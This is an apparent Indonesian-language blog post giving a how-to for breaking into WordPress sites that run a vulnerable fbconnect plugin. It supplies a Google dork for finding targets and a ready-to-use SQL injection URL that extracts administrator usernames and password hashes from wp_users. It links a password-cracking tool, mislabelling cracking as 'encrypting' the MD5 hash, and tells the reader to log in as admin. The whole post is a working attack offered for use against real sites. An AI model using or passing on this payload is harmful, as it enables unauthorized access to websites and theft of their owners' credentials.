![[Image: wordpress-hack.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimr_tiI8SeLemGRk_WzA3qbgu2OAkPFS8hoyOn2QM6YqqMi2Z5_mqE32-uoSJQAVEi3Wtt4vSp2lbb15tbkNGp447dYZWuT5a8eAt4HeNXCc58nnXqBNlIWrPg9Dj7ke5NRrtosxyfc0wg/s400/wordpress-hack.jpg)
Dork: inurl:"fbconnect_action=myhome"
Klik situs Targetnya
Sekarang ubah URL :
?fbconnect_action=myhome&userid=
Dengan URL ini :
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pa ss)z0mbyak,7,8,9,10,11,12+from+wp_users--
Sekarang keluar Username dan Password Admin.
Encrypt Password MD5 (Blowfish) dengan software yang ada di sini
http://www.easy-share.com/1917245768/passwordspro.zip
Sesudah menemukan Passwordnya masuk ke halaman Page wp-admin atau wp-login.php
Posting Komentar